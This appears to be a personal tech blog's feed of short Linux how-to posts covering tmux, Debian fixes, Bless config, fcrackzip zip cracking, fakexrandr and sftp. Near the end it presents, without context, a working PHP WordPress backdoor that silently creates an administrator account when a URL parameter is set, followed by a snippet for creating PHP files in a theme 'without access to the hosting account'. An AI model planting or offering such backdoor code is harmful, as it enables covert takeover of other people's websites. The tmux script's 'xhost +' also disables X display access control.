Skip to main content

· 4 min read
Hreniuc Cristian-Alexandru

Resources: - Getting started with tmux - Youtube turorial 1 - Youtube turorial 2 Install tmux on Debian

sudo apt-get install tmux

You can also install tmuxinator, which is easier to use, you can create session easily. Tmux has a lot of keybindings, those keybindings are in this format CTRL + B [command]. The CTRL + B is called the prefix, it like letting tmux know that the next key pressed is a command for it. You press CTRL + B release and then press a letter(command). Each tmux session has a number of windows, and each window has a number of panes. Create a new tmux session:

tmux new -s name

Commands for windows: CTRL + B [command]- c - Creates a new window.

  • ,(comma) - Gives you the possibility to rename the window.
  • p - Go to the previous window.
  • n - Go to the next window.
  • w - List all windows(scrollable list of windows).
  • & - Kill current window.
  • f - Search for a window by name.

Commands for panes: CTRL + B [command]- % - Split vertically the current pane in two panes.

  • **** - Split horizontally the current pane in two panes.
  • o - Go to the next pane.
  • { - Move pane to left with one position.
  • } - Move pane to right with one position.
  • q - Show pane numbers + if you press a number, the pane with that number will become active(will have the cursor)
  • x - Kill current pane.
  • z - Zoom in the current pane.(It will enlarge it to the size of the whole terminal, to go back do the combination of keys again)

Move between panes : CTRL + B left-arrow/right-arrow/up-arrow/down-arrowResize current pane: CTRL + B left-arrow/right-arrow/up-arrow/down-arrow(but do not release CTRL) Set a predefined layout: CTRL + B Spacebar**Sessions:- CTRL + B** D - Detach from the session.

List all sessions:

tmux list-sessions
# or
tmux ls

Attach to a session:

tmux attach -t name_of_session

Running commands that do not have keybindings: CTRL + B :(two dots) [text-command]:- split-window - Splits the window horizontally

  • setw synchronize-panes on/off - Write the same thing on all panes.
  • lock-client - follow the leader All clients connected to tmux session will be on the same page, when one goes to another page, all go there.
  • lock-client off - Disable follow the leader

To scroll through output history: > Ctrl-b then [ then you can use your normal navigation keys to scroll around (eg. Up Arrow or PgDn). Press q to quit scroll mode. Alternatively you can press Ctrl-b PgUp to go directly into copy mode and scroll one page up (which is what it sounds like you will want most of the time)

More keybindings can be found here: http://tmuxcheatsheet.com/Tips:- To navigate through command history, use the mouse scroll

Change the config of tmux:- Create a config file in the home directory:

touch ~/.tmux.conf
  • Add a keybinding to reload configuration while running tmux:
# reload config file (change file location to your the tmux.conf file)                                                         
bind-key r source-file ~/.tmux.conf\; display-message Config reloaded.
  • Add everything you want there, layout design, keybindings, etc.

Content of .tmux.conf:

# Create tmux work-session or attach to it if it already exist

######################### Script tmux_start.sh begin ###########################
#!/bin/bash
# new-window command or use alias neww

# send-keys 'cd ~/data/project' C-m \; \
# Sends the command from '' and C-m will execute it.

docker_container_running=$(docker ps | grep container_name_2 | wc -l)
SESSIONNAME="work_session"
tmux has-session -t $SESSIONNAME &> /dev/null
if [ $? -ne 0 ]
then
tmux new-session -s $SESSIONNAME\; \
send-keys 'cd ~/data/project' C-m \; \
rename-window "project" \; \
new-window -c ~/data/project1 -n 'project1' \; \
new-window -c ~/data/project2 -n "project2" \; \
new-window -c ~/data/project3 -n 'project3' \; \
new-window -c ~ -n 'home' \; \
new-window -n 'qserver_qtcreator' 'xhost +; if [ $(docker ps | grep container_name | wc -l) -eq 0 ]; then docker start -i container_name; else docker exec -it container_name /bin/bash; fi' \; \
split-window -h -c ~/data/project/source_1 \; \
split-window -v -c ~/data/project/source_1 'xhost +; if [ $(docker ps | grep container_name | wc -l) -eq 0 ]; then docker start container_name; fi; docker exec -it -e QT_XKB_CONFIG_ROOT=/usr/share/X11/xkb container_name qtcreator' \; \
select-window -t "project_qtcreator"
else
tmux a -t $SESSIONNAME
fi
################################### End Script #################################

# Add alias command work-session in ~/.bashrc
alias work-session='bash ~/data/tmux_start.sh'

# Reload configuration
source ~/.bashrc

· 2 min read
Hreniuc Cristian-Alexandru

Initial packages

apt-get install gcc g++ make cmake gedit network-manager-gnome tmux gedit-plugins

Remove wicd package, because it doesn\'t detect the wi-fi networks automatically. That\'s why i installed network-manager-gnome package.

apt-get remove wicd
apt-get autoremove

Fix wifi driver issue on Debian 9

The error i was getting was: firmware: failed to load iwlwifi-8000C-23.ucode (-2)I was able to fix it using an answer on stackoverflowThose were the steps i had to follow: 1. Add non-free and contrib components to /etc/apt/sources.list

deb http://ftp.ro.debian.org/debian/ stretch main contrib non-free
deb-src http://ftp.ro.debian.org/debian/ stretch main contrib non-free

Run

sudo apt-get update
apt-get install firmware-iwlwifi

Reboot

Fix TPM error

Error con*tent : tpm tpm0: A TMP error occurred attempting to read a pcr value*Fix: Disable TPM from BIOS. > Trusted Platform Module (TPM) is an international standard for a secure cryptoprocessor, which is a dedicated microprocessor designed to secure hardware by integrating cryptographic keys into devices. In practice a TPM can be used for various different security applications such as secure boot and key storage. TPM is naturally supported only on devices that have TPM hardware support. If your hardware has TPM support but it is not showing up, it might need to be enabled in the BIOS settings.

· One min read
Hreniuc Cristian-Alexandru

Use this addon on firefox.

YouTube\'s new design uses Polymer 2.0, and the userscript below no longer works. Since as of right now this question is the top Google hit for queries related to changing this behavior I have created a Chrome extension and a Firefox 57+ add-on which I open sourced in case anyone wants to look at the internals (or create a port for other browsers). Please note that I will no longer be maintaining the userscript version.

Source: stackexchange

· One min read
Hreniuc Cristian-Alexandru

The xml config file isn’t closed correctly and the parsing of the parameters doesn’t work. There is a method around it:

  • Edit the file: /home/user/.config/bless/preferences.xml

    <preferences>
    <pref name="ByteBuffer.TempDir">/tmp</pref> <!-- add this -->
    ...
    <pref name="Default.Layout.File"/>
    </preferences> <!-- Add this -->

    And make that file readonly, this way it won't get modified each time you restart bless.

Note: You won't be able to modify the preferences from the bless editor, you will have to edit the config file by yourself.

Another method is to rebuild Bless, applying a patch: https://bugs.launchpad.net/ubuntu/+source/bless/+bug/1622951

· One min read
Hreniuc Cristian-Alexandru

I used fcrackzip.

$ fcrackzip -D -p pass.txt -u file.zip

-D - dictionary mode, In this mode, fcrackzip will read passwords from a file, which must contain one password per line and should be alphabetically sorted (e.g. using sort(1)).

-p - Set initial (starting) password for brute-force searching to string, or use the file with the name string to supply passwords for dictionary searching.

pass.txt - file containing all passwords

-u - Try to decompress the first file by calling unzip with the guessed password. This weeds out false positives when not enough files have been given.

file.zip - the zip file on which you want to crack the password

· 3 min read
Hreniuc Cristian-Alexandru

This is a tutorial on how you can split a screen in multiple screens on linux. I needed this because i got an ultrawide monitor.

For this we will use: fakexrandr.

We will begin by cloning the project: git clone https://github.com/phillipberndt/fakexrandr.git

Then we will only have to install it using :

make
make install

Note: If we get an error like: "Unable to locate package pkg-config" You will have to install pkg-config:

apt-get install pkg-config

You will also need to install :

apt-get install libxrandr-dev

You might get an error: libXrandr.c:18:37: fatal error: X11/extensions/Xinerama.h: No such file or directory

apt-get install libx11-dev libxinerama-dev

Now all you have to do is to run :

fakexrandr-manage gui

Note: To use the graphical interface you will have to install pygobject:

apt install python-gi
# or
apt install python-gi-dev

After all these steps i got the same problem as this user here but i managed to do it via CLI. Below you can see how i did it.

phillipberndt explains it very clearly in his response:

Hm, simply run fakexrandr-manage.py show-available, copy the output, and replace SPLITS="N" with SPLITS="whatever", where for whatever you subsitute your splits. From the command's output:

It starts by one of the letters H, V or N, describing the
kind of split. H means horizontal, V vertical and N no split. Separated by a
space follows the pixel position of the split. Again separated by a space
follow the two sub-configurations of the left/right or top/bottom halves. Any
additional white-space besides a single space is optional any only serves
better readibility. dump-config indents sub-configurations to this end.
If SPLITS equals N, a configuration is discarded upon saving it.

That is, to have one split (step 1 in the screencast above), insert e.g. V 840 N N to split at 840px, to have the right half split further horizontally (as in step 2), insert V 840 N H 630 N N to split at 630px. This becomes more clear if you insert more whitespace:
```
V # Split vertically
840 # at 840px
N # Do not split the left half further
H # Split the right half horizontally
630 # At 630px
N # Do not split the top half further
N # Do not split the lower half further
```

Let's say you want to split the monitor in two, horizontally. Initially fakexrandr-manage show-available will give you the output:

NAME="HDMI-A-0" # output name
EDID=00ffffffffffff001e6d # a long hex string
WIDTH=2560
HEIGHT=1080
SPLITS="N"

Copy all that output and change only the SPLITS field to : SPLITS="V 1280 N N" . This will split your monitor horizontally in two equal screens(if your resolution is 2560) .(Those two "N N" mean that you don't want to split those two halves that resulted from the first split) Put everything into a file file_with_config, after that run fakexrandr-manage set-config < file_with_config

To see if the config is being used run: fakexrandr-manage dump-config this will output the current config that is being used.

To make it work you have to restart the desktop manager or reboot. All those things were tested on Lubuntu 17.04 and it worked.

· One min read
Hreniuc Cristian-Alexandru

Connect to server:

sftp -P [port no] user@dns_or_ip

Commands for the remote server:

pwd #print remote working directory
cd #open remote directory
ls #list remote files

Commands for the remote server(add a 'l' before each command):

lpwd # Print local working directory
lcd # Open local directory
lls # List local files

Transfer remote file to local:

get remote_file 
# Rename the file that you want to get from remote
get remote_file new_name
# Get a directory(recursive)
get -r remote_directory
# Keep the same permissions to the files
get -Pr remote_directory

Send file from local to remote(Same as before, use 'put' instead of 'get'):

put local_file 
# Rename the file that you want to get from local
put local_file new_name
# Get a directory(recursive)
put -r remote_directory
# Keep the same permissions to the files
put -Pr remote_directory

Exit:

exit

· One min read
Hreniuc Cristian-Alexandru
<?php
add_action('wp_head', 'Backdoor');

function Backdoor() {
If ($_GET['backdoor'] == 'go') {
require('wp-includes/registration.php');
If (!username_exists('user')) {
$user_id = wp_create_user('user', 'password');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
?>

· One min read
Hreniuc Cristian-Alexandru

Useful when you do not have access to the hosting account:

<?php touch('wp-content/themes/YOUR_THEME_DIR/FILE_NAME.php');?>